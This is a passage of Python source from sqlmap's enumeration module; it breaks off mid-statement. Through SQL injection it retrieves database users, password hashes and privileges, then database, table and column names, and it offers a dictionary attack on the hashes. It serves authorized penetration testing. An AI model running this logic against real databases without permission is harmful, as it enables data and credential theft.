#!/usr/bin/env python """ $Id$ Copyright (c) 2006-2011 sqlmap developers (http://sqlmap.sourceforge.net/) See the file 'doc/COPYING' for copying permission """ import re import time from lib.core.agent import agent from lib.core.common import arrayizeValue from lib.core.common import Backend from lib.core.common import dataToStdout from lib.core.common import getRange from lib.core.common import getCompiledRegex from lib.core.common import getFileItems from lib.core.common import Backend from lib.core.common import getUnicode from lib.core.common import isNoneValue from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable from lib.core.common import parsePasswordHash from lib.core.common import parseSqliteTableSchema from lib.core.common import popValue from lib.core.common import pushValue from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import safeStringFormat from lib.core.common import safeSQLIdentificatorNaming from lib.core.common import strToHex from lib.core.common import unArrayizeValue from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.convert import safechardecode from lib.core.convert import utf8decode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths from lib.core.data import queries from lib.core.dicts import firebirdTypes from lib.core.dicts import mysqlPrivs from lib.core.dicts import pgsqlPrivs from lib.core.dicts import firebirdPrivs from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD from lib.core.exception import sqlmapConnectionException from lib.core.exception import sqlmapMissingMandatoryOptionException from lib.core.exception import sqlmapNoneDataException from lib.core.exception import sqlmapUnsupportedFeatureException from lib.core.exception import sqlmapUserQuitException from lib.core.session import setOs from lib.core.settings import CONCAT_ROW_DELIMITER from lib.core.settings import CONCAT_VALUE_DELIMITER from lib.core.settings import DEFAULT_MSSQL_SCHEMA from lib.core.settings import MAX_INT from lib.core.settings import SQL_STATEMENTS from lib.core.shell import autoCompletion from lib.core.unescaper import unescaper from lib.core.threads import getCurrentThreadData from lib.parse.banner import bannerParser from lib.request import inject from lib.request.connect import Connect as Request from lib.techniques.brute.use import columnExists from lib.techniques.brute.use import tableExists from lib.utils.hash import attackDumpedTable from lib.utils.hash import attackCachedUsersPasswords class Enumeration: """ This class defines generic enumeration functionalities for plugins. """ def __init__(self): kb.data.has_information_schema = False kb.data.banner = None kb.data.currentUser = "" kb.data.currentDb = "" kb.data.cachedUsers = [] kb.data.cachedUsersPasswords = {} kb.data.cachedUsersPrivileges = {} kb.data.cachedUsersRoles = {} kb.data.cachedDbs = [] kb.data.cachedTables = {} kb.data.cachedColumns = {} kb.data.cachedCounts = {} kb.data.dumpedTable = {} kb.data.processChar = None self.alwaysRetrieveSqlOutput = False def getBanner(self): if not conf.getBanner: return if kb.data.banner is None: infoMsg = "fetching banner" logger.info(infoMsg) query = queries[Backend.getIdentifiedDbms()].banner.query kb.data.banner = unArrayizeValue(inject.getValue(query, safeCharEncode=False)) bannerParser(kb.data.banner) if conf.os and conf.os == "windows": kb.bannerFp["type"] = set([ "Windows" ]) elif conf.os and conf.os == "linux": kb.bannerFp["type"] = set([ "Linux" ]) elif conf.os: kb.bannerFp["type"] = set([ "%s%s" % (conf.os[0].upper(), conf.os[1:]) ]) if conf.os: setOs() return kb.data.banner def getCurrentUser(self): infoMsg = "fetching current user" logger.info(infoMsg) query = queries[Backend.getIdentifiedDbms()].current_user.query if not kb.data.currentUser: kb.data.currentUser = unArrayizeValue(inject.getValue(query)) return kb.data.currentUser def getCurrentDb(self): infoMsg = "fetching current database" logger.info(infoMsg) query = queries[Backend.getIdentifiedDbms()].current_db.query if not kb.data.currentDb: kb.data.currentDb = unArrayizeValue(inject.getValue(query, safeCharEncode=False)) return kb.data.currentDb def isDba(self, user=None): infoMsg = "testing if current user is DBA" logger.info(infoMsg) if Backend.isDbms(DBMS.MYSQL): self.getCurrentUser() query = queries[Backend.getIdentifiedDbms()].is_dba.query % (kb.data.currentUser.split("@")[0] if kb.data.currentUser else None) elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and user is not None: query = queries[Backend.getIdentifiedDbms()].is_dba.query2 % user else: query = queries[Backend.getIdentifiedDbms()].is_dba.query query = agent.forgeCaseStatement(query) isDba = inject.getValue(query, charsetType=1) if user is None: kb.data.isDba = unArrayizeValue(isDba) return isDba == "1" def getUsers(self): infoMsg = "fetching database users" logger.info(infoMsg) rootQuery = queries[Backend.getIdentifiedDbms()].users condition = ( Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")) ) condition |= ( Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema ) if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct: if condition: query = rootQuery.inband.query2 else: query = rootQuery.inband.query value = inject.getValue(query, blind=False) if not isNoneValue(value): kb.data.cachedUsers = arrayizeValue(value) if not kb.data.cachedUsers and not conf.direct: infoMsg = "fetching number of database users" logger.info(infoMsg) if condition: query = rootQuery.blind.count2 else: query = rootQuery.blind.count count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2) if not isNumPosStrValue(count): errMsg = "unable to retrieve the number of database users" raise sqlmapNoneDataException, errMsg if Backend.isDbms(DBMS.ORACLE): plusOne = True else: plusOne = False indexRange = getRange(count, plusOne=plusOne) for index in indexRange: if Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MAXDB): query = rootQuery.blind.query % (kb.data.cachedUsers[-1] if kb.data.cachedUsers else " ") elif condition: query = rootQuery.blind.query2 % index else: query = rootQuery.blind.query % index user = inject.getValue(query, inband=False, error=False) if user: kb.data.cachedUsers.append(user) if not kb.data.cachedUsers: errMsg = "unable to retrieve the database users" raise sqlmapNoneDataException, errMsg return kb.data.cachedUsers def getPasswordHashes(self): infoMsg = "fetching database users password hashes" rootQuery = queries[Backend.getIdentifiedDbms()].passwords if conf.user == "CU": infoMsg += " for current user" conf.user = self.getCurrentUser() logger.info(infoMsg) if conf.user and Backend.isDbms(DBMS.ORACLE): conf.user = conf.user.upper() if conf.user: users = conf.user.split(",") if Backend.isDbms(DBMS.MYSQL): for user in users: parsedUser = re.search("[\047]*(.*?)[\047]*\@", user) if parsedUser: users[users.index(user)] = parsedUser.groups()[0] else: users = [] if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct: if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")): query = rootQuery.inband.query2 else: query = rootQuery.inband.query condition = rootQuery.inband.condition if conf.user: query += " WHERE " query += " OR ".join("%s = '%s'" % (condition, user) for user in users) if Backend.isDbms(DBMS.SYBASE): randStr = randomStr() getCurrentThreadData().disableStdOut = True retVal = self.__pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr,'%s.password' % randStr], blind=False) if retVal: for user, password in zip(retVal[0]["%s.name" % randStr], retVal[0]["%s.password" % randStr]): # password = "0x%s" % strToHex(password) if not kb.data.cachedUsersPasswords.has_key(user): kb.data.cachedUsersPasswords[user] = [password] else: kb.data.cachedUsersPasswords[user].append(password) getCurrentThreadData().disableStdOut = False else: value = inject.getValue(query, blind=False) if not isNoneValue(value): for user, password in value: if not user or user == " ": continue password = parsePasswordHash(password) if not kb.data.cachedUsersPasswords.has_key(user): kb.data.cachedUsersPasswords[user] = [password] else: kb.data.cachedUsersPasswords[user].append(password) if not kb.data.cachedUsersPasswords and not conf.direct: if not len(users): users = self.getUsers() if Backend.isDbms(DBMS.MYSQL): for user in users: parsedUser = re.search("[\047]*(.*?)[\047]*\@", user) if parsedUser: users[users.index(user)] = parsedUser.groups()[0] if Backend.isDbms(DBMS.SYBASE): getCurrentThreadData().disableStdOut = True randStr = randomStr() query = rootQuery.inband.query retVal = self.__pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr,'%s.password' % randStr], blind=True) if retVal: for user, password in zip(retVal[0]["%s.name" % randStr], retVal[0]["%s.password" % randStr]): password = "0x%s" % strToHex(password) if not kb.data.cachedUsersPasswords.has_key(user): kb.data.cachedUsersPasswords[user] = [password] else: kb.data.cachedUsersPasswords[user].append(password) getCurrentThreadData().disableStdOut = False else: retrievedUsers = set() for user in users: if user in retrievedUsers: continue infoMsg = "fetching number of password hashes " infoMsg += "for user '%s'" % user logger.info(infoMsg) if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")): query = rootQuery.blind.count2 % user else: query = rootQuery.blind.count % user count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2) if not isNumPosStrValue(count): warnMsg = "unable to retrieve the number of password " warnMsg += "hashes for user '%s'" % user logger.warn(warnMsg) continue infoMsg = "fetching password hashes for user '%s'" % user logger.info(infoMsg) passwords = [] if Backend.isDbms(DBMS.ORACLE): plusOne = True else: plusOne = False indexRange = getRange(count, plusOne=plusOne) for index in indexRange: if Backend.isDbms(DBMS.MSSQL): if Backend.isVersionWithin(("2005", "2008")): query = rootQuery.blind.query2 % (user, index, user) else: query = rootQuery.blind.query % (user, index, user) else: query = rootQuery.blind.query % (user, index) password = inject.getValue(query, inband=False, error=False) password = parsePasswordHash(password) passwords.append(password) if passwords: kb.data.cachedUsersPasswords[user] = passwords else: warnMsg = "unable to retrieve the password " warnMsg += "hashes for user '%s'" % user logger.warn(warnMsg) retrievedUsers.add(user) if not kb.data.cachedUsersPasswords: errMsg = "unable to retrieve the password " errMsg += "hashes for the database users " errMsg += "(most probably due to problems " errMsg += "with backend DBMS user permissions)" raise sqlmapNoneDataException, errMsg message = "do you want to use dictionary attack on retrieved password hashes? [Y/n/q]" test = readInput(message, default="Y") if test[0] in ("n", "N"): pass elif test[0] in ("q", "Q"): raise sqlmapUserQuitException else: attackCachedUsersPasswords() return kb.data.cachedUsersPasswords def __isAdminFromPrivileges(self, privileges): # In PostgreSQL the usesuper privilege means that the # user is DBA dbaCondition = ( Backend.isDbms(DBMS.PGSQL) and "super" in privileges ) # In Oracle the DBA privilege means that the # user is DBA dbaCondition |= ( Backend.isDbms(DBMS.ORACLE) and "DBA" in privileges ) # In MySQL >= 5.0 the SUPER privilege means # that the user is DBA dbaCondition |= ( Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema and "SUPER" in privileges ) # In MySQL < 5.0 the super_priv privilege means # that the user is DBA dbaCondition |= ( Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema and "super_priv" in privileges ) # In Firebird there is no specific privilege that means # that the user is DBA # TODO: confirm dbaCondition |= ( Backend.isDbms(DBMS.FIREBIRD) and "SELECT" in privileges and "INSERT" in privileges and "UPDATE" in privileges and "DELETE" in privileges and "REFERENCES" in privileges and "EXECUTE" in privileges ) return dbaCondition def getPrivileges(self, query2=False): infoMsg = "fetching database users privileges" rootQuery = queries[Backend.getIdentifiedDbms()].privileges if conf.user == "CU": infoMsg += " for current user" conf.user = self.getCurrentUser() logger.info(infoMsg) if conf.user and Backend.isDbms(DBMS.ORACLE): conf.user = conf.user.upper() if conf.user: users = conf.user.split(",") if Backend.isDbms(DBMS.MYSQL): for user in users: parsedUser = re.search("[\047]*(.*?)[\047]*\@", user) if parsedUser: users[users.index(user)] = parsedUser.groups()[0] else: users = [] # Set containing the list of DBMS administrators areAdmins = set() if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct: if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.inband.query2 condition = rootQuery.inband.condition2 elif Backend.isDbms(DBMS.ORACLE) and query2: query = rootQuery.inband.query2 condition = rootQuery.inband.condition2 else: query = rootQuery.inband.query condition = rootQuery.inband.condition if conf.user: query += " WHERE " if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema: query += " OR ".join("%s LIKE '%%%s%%'" % (condition, user) for user in users) else: query += " OR ".join("%s = '%s'" % (condition, user) for user in users) values = inject.getValue(query, blind=False) if not values and Backend.isDbms(DBMS.ORACLE) and not query2: infoMsg = "trying with table USER_SYS_PRIVS" logger.info(infoMsg) return self.getPrivileges(query2=True) if not isNoneValue(values): for value in values: user = None privileges = set() for count in xrange(0, len(value)): # The first column is always the username if count == 0: user = value[count] # The other columns are the privileges else: privilege = value[count] # In PostgreSQL we get 1 if the privilege is # True, 0 otherwise if Backend.isDbms(DBMS.PGSQL) and getUnicode(privilege).isdigit(): if int(privilege) == 1: privileges.add(pgsqlPrivs[count]) # In MySQL >= 5.0 and Oracle we get the list # of privileges as string elif Backend.isDbms(DBMS.ORACLE) or ( Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema ): privileges.add(privilege) # In MySQL < 5.0 we get Y if the privilege is # True, N otherwise elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: if privilege.upper() == "Y": privileges.add(mysqlPrivs[count]) if self.__isAdminFromPrivileges(privileges): areAdmins.add(user) if kb.data.cachedUsersPrivileges.has_key(user): kb.data.cachedUsersPrivileges[user].extend(privileges) else: kb.data.cachedUsersPrivileges[user] = list(privileges) if not kb.data.cachedUsersPrivileges and not conf.direct: if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema: conditionChar = " LIKE " else: conditionChar = "=" if not len(users): users = self.getUsers() if Backend.isDbms(DBMS.MYSQL): for user in users: parsedUser = re.search("[\047]*(.*?)[\047]*\@", user) if parsedUser: users[users.index(user)] = parsedUser.groups()[0] retrievedUsers = set() for user in users: if user in retrievedUsers: continue if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema: user = "%%%s%%" % user infoMsg = "fetching number of privileges " infoMsg += "for user '%s'" % user logger.info(infoMsg) if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.blind.count2 % user elif Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema: query = rootQuery.blind.count % (conditionChar, user) elif Backend.isDbms(DBMS.ORACLE) and query2: query = rootQuery.blind.count2 % user else: query = rootQuery.blind.count % user count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2) if not isNumPosStrValue(count): if not (isinstance(count, basestring) and count.isdigit()) and Backend.isDbms(DBMS.ORACLE) and not query2: infoMsg = "trying with table USER_SYS_PRIVS" logger.info(infoMsg) return self.getPrivileges(query2=True) warnMsg = "unable to retrieve the number of " warnMsg += "privileges for user '%s'" % user logger.warn(warnMsg) continue infoMsg = "fetching privileges for user '%s'" % user logger.info(infoMsg) privileges = set() if Backend.isDbms(DBMS.ORACLE): plusOne = True else: plusOne = False indexRange = getRange(count, plusOne=plusOne) for index in indexRange: if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.blind.query2 % (user, index) elif Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema: query = rootQuery.blind.query % (conditionChar, user, index) elif Backend.isDbms(DBMS.ORACLE) and query2: query = rootQuery.blind.query2 % (user, index) elif Backend.isDbms(DBMS.FIREBIRD): query = rootQuery.blind.query % (index, user) else: query = rootQuery.blind.query % (user, index) privilege = inject.getValue(query, inband=False, error=False) # In PostgreSQL we get 1 if the privilege is True, # 0 otherwise if Backend.isDbms(DBMS.PGSQL) and ", " in privilege: privilege = privilege.replace(", ", ",") privs = privilege.split(",") i = 1 for priv in privs: if priv.isdigit() and int(priv) == 1: for position, pgsqlPriv in pgsqlPrivs.items(): if position == i: privileges.add(pgsqlPriv) i += 1 # In MySQL >= 5.0 and Oracle we get the list # of privileges as string elif Backend.isDbms(DBMS.ORACLE) or ( Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema ): privileges.add(privilege) # In MySQL < 5.0 we get Y if the privilege is # True, N otherwise elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: privilege = privilege.replace(", ", ",") privs = privilege.split(",") i = 1 for priv in privs: if priv.upper() == "Y": for position, mysqlPriv in mysqlPrivs.items(): if position == i: privileges.add(mysqlPriv) i += 1 # In Firebird we get one letter for each privilege elif Backend.isDbms(DBMS.FIREBIRD): privileges.add(firebirdPrivs[privilege.strip()]) if self.__isAdminFromPrivileges(privileges): areAdmins.add(user) # In MySQL < 5.0 we break the cycle after the first # time we get the user's privileges otherwise we # duplicate the same query if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: break if privileges: kb.data.cachedUsersPrivileges[user] = list(privileges) else: warnMsg = "unable to retrieve the privileges " warnMsg += "for user '%s'" % user logger.warn(warnMsg) retrievedUsers.add(user) if not kb.data.cachedUsersPrivileges: errMsg = "unable to retrieve the privileges " errMsg += "for the database users" raise sqlmapNoneDataException, errMsg return ( kb.data.cachedUsersPrivileges, areAdmins ) def getRoles(self, query2=False): warnMsg = "on %s the concept of roles does not " % Backend.getIdentifiedDbms() warnMsg += "exist. sqlmap will enumerate privileges instead" logger.warn(warnMsg) return self.getPrivileges(query2) def getDbs(self): if len(kb.data.cachedDbs) > 0: return kb.data.cachedDbs if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: warnMsg = "information_schema not available, " warnMsg += "back-end DBMS is MySQL < 5. database " warnMsg += "names will be fetched from 'mysql' database" logger.warn(warnMsg) if Backend.isDbms(DBMS.ORACLE): warnMsg = "schema names are going to be used on Oracle " warnMsg += "for enumeration as the counterpart to database " warnMsg += "names on other DBMSes" logger.warn(warnMsg) infoMsg = "fetching database (schema) names" else: infoMsg = "fetching database names" logger.info(infoMsg) rootQuery = queries[Backend.getIdentifiedDbms()].dbs if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct: if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.inband.query2 else: query = rootQuery.inband.query value = inject.getValue(query, blind=False) if not isNoneValue(value): kb.data.cachedDbs = arrayizeValue(value) if not kb.data.cachedDbs and not conf.direct: infoMsg = "fetching number of databases" logger.info(infoMsg) if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.blind.count2 else: query = rootQuery.blind.count count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2) if not isNumPosStrValue(count): errMsg = "unable to retrieve the number of databases" logger.error(errMsg) else: if Backend.isDbms(DBMS.ORACLE): plusOne = True else: plusOne = False indexRange = getRange(count, plusOne=plusOne) for index in indexRange: if Backend.isDbms(DBMS.SYBASE): query = rootQuery.blind.query % (kb.data.cachedDbs[-1] if kb.data.cachedDbs else " ") elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.blind.query2 % index else: query = rootQuery.blind.query % index db = inject.getValue(query, inband=False, error=False) if db: kb.data.cachedDbs.append(safeSQLIdentificatorNaming(db)) if not kb.data.cachedDbs: infoMsg = "falling back to current database" logger.info(infoMsg) self.getCurrentDb() if kb.data.currentDb: kb.data.cachedDbs = [kb.data.currentDb] else: errMsg = "unable to retrieve the database names" raise sqlmapNoneDataException, errMsg return kb.data.cachedDbs def getTables(self, bruteForce=None): if len(kb.data.cachedTables) > 0: return kb.data.cachedTables self.forceDbmsEnum() if bruteForce is None: if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: errMsg = "information_schema not available, " errMsg += "back-end DBMS is MySQL < 5.0" logger.error(errMsg) bruteForce = True elif Backend.isDbms(DBMS.ACCESS): try: tables = self.getTables(False) except sqlmapNoneDataException: tables = None if not tables: errMsg = "cannot retrieve table names, " errMsg += "back-end DBMS is Access" logger.error(errMsg) bruteForce = True else: return tables if conf.db == "CD": conf.db = self.getCurrentDb() if conf.db and Backend.isDbms(DBMS.ORACLE): conf.db = conf.db.upper() if conf.db: dbs = conf.db.split(",") else: dbs = self.getDbs() for db in dbs: dbs[dbs.index(db)] = safeSQLIdentificatorNaming(db) if bruteForce: resumeAvailable = False for db, table in kb.brute.tables: if db == conf.db: resumeAvailable = True break if resumeAvailable: for db, table in kb.brute.tables: if db == conf.db: if not kb.data.cachedTables.has_key(conf.db): kb.data.cachedTables[conf.db] = [table] else: kb.data.cachedTables[conf.db].append(table) return kb.data.cachedTables message = "do you want to use common table existence check? [Y/n/q]" test = readInput(message, default="Y") if test[0] in ("n", "N"): return elif test[0] in ("q", "Q"): raise sqlmapUserQuitException else: return tableExists(paths.COMMON_TABLES) infoMsg = "fetching tables for database" infoMsg += "%s: %s" % ("s" if len(dbs) > 1 else "", ", ".join(db for db in dbs)) logger.info(infoMsg) rootQuery = queries[Backend.getIdentifiedDbms()].tables if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct: query = rootQuery.inband.query condition = rootQuery.inband.condition if 'condition' in rootQuery.inband else None if condition: if conf.excludeSysDbs: query += " WHERE " query += " AND ".join("%s != '%s'" % (condition, unsafeSQLIdentificatorNaming(db)) for db in self.excludeDbsList) infoMsg = "skipping system database%s: %s" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList)) logger.info(infoMsg) elif not Backend.isDbms(DBMS.SQLITE): query += " WHERE " query += " OR ".join("%s = '%s'" % (condition, unsafeSQLIdentificatorNaming(db)) for db in dbs) if Backend.isDbms(DBMS.MSSQL): query = safeStringFormat(query, conf.db) value = inject.getValue(query, blind=False) value = filter(lambda x: x, value) if not isNoneValue(value): if Backend.isDbms(DBMS.SQLITE): if isinstance(value, basestring): value = [[ DBMS.SQLITE, value ]] elif isinstance(value, (list, tuple, set)): newValue = [] for v in value: newValue.append([ DBMS.SQLITE, v]) value = newValue for db, table in value: db = safeSQLIdentificatorNaming(db) table = safeSQLIdentificatorNaming(table, True) if not kb.data.cachedTables.has_key(db): kb.data.cachedTables[db] = [table] else: kb.data.cachedTables[db].append(table) if not kb.data.cachedTables and not conf.direct: for db in dbs: if conf.excludeSysDbs and db in self.excludeDbsList: infoMsg = "skipping system database '%s'" % db logger.info(infoMsg) continue infoMsg = "fetching number of tables for " infoMsg += "database '%s'" % db logger.info(infoMsg) if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.ACCESS): query = rootQuery.blind.count else: query = rootQuery.blind.count % unsafeSQLIdentificatorNaming(db) count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2) if not isNumPosStrValue(count): warnMsg = "unable to retrieve the number of " warnMsg += "tables for database '%s'" % db logger.warn(warnMsg) continue tables = [] if Backend.isDbms(DBMS.ORACLE): plusOne = True else: plusOne = False indexRange = getRange(count, plusOne=plusOne) for index in indexRange: if Backend.isDbms(DBMS.SYBASE): query = rootQuery.blind.query % (db, (kb.data.cachedTables[-1] if kb.data.cachedTables else " ")) elif Backend.getIdentifiedDbms() in (DBMS.MAXDB, DBMS.ACCESS): query = rootQuery.blind.query % (kb.data.cachedTables[-1] if kb.data.cachedTables else " ") elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD): query = rootQuery.blind.query % index else: query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(db), index) table = inject.getValue(query, inband=False, error=False) kb.hintValue = table table = safeSQLIdentificatorNaming(table, True) tables.append(table) if tables: kb.data.cachedTables[db] = tables else: warnMsg = "unable to retrieve the table names " warnMsg += "for database '%s'" % db logger.warn(warnMsg) if isNoneValue(kb.data.cachedTables): kb.data.cachedTables.clear() if not kb.data.cachedTables: errMsg = "unable to retrieve the table names for any database" if bruteForce is None: logger.error(errMsg) return self.getTables(bruteForce=True) else: raise sqlmapNoneDataException, errMsg return kb.data.cachedTables def getColumns(self, onlyColNames=False): self.forceDbmsEnum() if conf.db is None or conf.db == "CD": if conf.db is None: warnMsg = "missing database parameter, sqlmap is going " warnMsg += "to use the current database to enumerate " warnMsg += "table(s) columns" logger.warn(warnMsg) conf.db = self.getCurrentDb() elif conf.db is not None: if Backend.isDbms(DBMS.ORACLE): conf.db = conf.db.upper() if ',' in conf.db: errMsg = "only one database name is allowed when enumerating " errMsg += "the tables' columns" raise sqlmapMissingMandatoryOptionException, errMsg conf.db = safeSQLIdentificatorNaming(conf.db) if conf.col: if Backend.isDbms(DBMS.ORACLE): conf.col = conf.col.upper() colList = conf.col.split(",") else: colList = [] for col in colList: colList[colList.index(col)] = safeSQLIdentificatorNaming(col) if conf.tbl: if Backend.isDbms(DBMS.ORACLE): conf.tbl = conf.tbl.upper() tblList = conf.tbl.split(",") else: self.getTables() if len(kb.data.cachedTables) > 0: tblList = kb.data.cachedTables.values() if isinstance(tblList[0], (set, tuple, list)): tblList = tblList[0] else: errMsg = "unable to retrieve the tables" errMsg += "on database '%s'" % conf.db raise sqlmapNoneDataException, errMsg for tbl in tblList: tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True) bruteForce = False if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: errMsg = "information_schema not available, " errMsg += "back-end DBMS is MySQL < 5.0" logger.error(errMsg) bruteForce = True elif Backend.isDbms(DBMS.ACCESS): errMsg = "cannot retrieve column names, " errMsg += "back-end DBMS is Access" logger.error(errMsg) bruteForce = True if bruteForce: resumeAvailable = False for tbl in tblList: for db, table, colName, colType in kb.brute.columns: if db == conf.db and table == tbl: resumeAvailable = True break if resumeAvailable: columns = {} for tbl in tblList: for db, table, colName, colType in kb.brute.columns: if db == conf.db and table == tbl: columns[colName] = colType if conf.db in kb.data.cachedColumns: kb.data.cachedColumns[unsafeSQLIdentificatorNaming(conf.db)][unsafeSQLIdentificatorNaming(tbl)] = columns else: kb.data.cachedColumns[unsafeSQLIdentificatorNaming(conf.db)] = {unsafeSQLIdentificatorNaming(tbl): columns} return kb.data.cachedColumns message = "do you want to use common columns existence check? [Y/n/q]" test = readInput(message, default="Y") if test[0] in ("n", "N"): return elif test[0] in ("q", "Q"): raise sqlmapUserQuitException else: return columnExists(paths.COMMON_COLUMNS) rootQuery = queries[Backend.getIdentifiedDbms()].columns condition = rootQuery.blind.condition if 'condition' in rootQuery.blind else None if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct: for tbl in tblList: if conf.db is not None and len(kb.data.cachedColumns) > 0 \ and conf.db in kb.data.cachedColumns and tbl in \ kb.data.cachedColumns[conf.db]: infoMsg = "fetched tables' columns on " infoMsg += "database '%s'" % conf.db logger.info(infoMsg) return { conf.db: kb.data.cachedColumns[conf.db]} infoMsg = "fetching columns " if len(colList) > 0: message = "do you want to use LIKE operator to " message += "retrieve column names similar to the " message += "ones provided with the -C option? [Y/n]" test = readInput(message, default="Y") if not (isinstance(test, basestring) and test.upper() == "N"): condQuery = " AND (%s)" % " OR ".join("%s LIKE '%%%s%%'" % (condition, unsafeSQLIdentificatorNaming(col)) for col in colList) infoMsg += "LIKE '%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in colList) else: condQuery = " AND (%s)" % " OR ".join("%s = '%s'" % (condition, unsafeSQLIdentificatorNaming(col)) for col in colList) infoMsg += "'%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in colList) else: condQuery = "" infoMsg += "for table '%s' " % tbl infoMsg += "on database '%s'" % conf.db logger.info(infoMsg) if Backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ): query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery elif Backend.isDbms(DBMS.ORACLE): query = rootQuery.inband.query % unsafeSQLIdentificatorNaming(tbl.upper()) query += condQuery elif Backend.isDbms(DBMS.MSSQL): query = rootQuery.inband.query % (conf.db, conf.db, conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl)) query += condQuery.replace("[DB]", conf.db) elif Backend.isDbms(DBMS.SQLITE): query = rootQuery.inband.query % tbl value = inject.getValue(query, blind=False) if Backend.isDbms(DBMS.SQLITE): parseSqliteTableSchema(value) elif not isNoneValue(value): table = {} columns = {} for columnData in value: if not isNoneValue(columnData): name = safeSQLIdentificatorNaming(columnData[0]) if len(columnData) == 1: columns[name] = "" else: columns[name] = columnData[1] if conf.db in kb.data.cachedColumns: kb.data.cachedColumns[unsafeSQLIdentificatorNaming(conf.db)][unsafeSQLIdentificatorNaming(tbl)] = columns else: table[unsafeSQLIdentificatorNaming(tbl)] = columns kb.data.cachedColumns[unsafeSQLIdentificatorNaming(conf.db)] = table if not kb.data.cachedColumns and not conf.direct: for tbl in tblList: if conf.db is not None and len(kb.data.cachedColumns) > 0 \ and conf.db in kb.data.cachedColumns and tbl in \ kb.data.cachedColumns[conf.db]: infoMsg = "fetched tables' columns on " infoMsg += "database '%s'" % conf.db logger.info(infoMsg) return { conf.db: kb.data.cachedColumns[conf.db]} infoMsg = "fetching columns " if len(colList) > 0: condQuery = " AND (%s)" % " OR ".join("%s LIKE '%%%s%%'" % (condition, unsafeSQLIdentificatorNaming(col)) for col in colList) likeMsg = "like '%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in colList) infoMsg += likeMsg else: condQuery = "" likeMsg = "" infoMsg += "for table '%s' " % tbl infoMsg += "on database '%s'" % conf.db logger.info(infoMsg) countMsg = "fetching number of columns %s" % likeMsg countMsg += "for table '%s'" % tbl countMsg += " on database '%s'" % conf.db logger.info(countMsg) if Backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ): query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery elif Backend.isDbms(DBMS.ORACLE): query = rootQuery.blind.count % unsafeSQLIdentificatorNaming(tbl.upper()) query += condQuery elif Backend.getIdentifiedDbms() in DBMS.MSSQL: query = rootQuery.blind.count % (conf.db, conf.db, \ unsafeSQLIdentificatorNaming(tbl)) query += 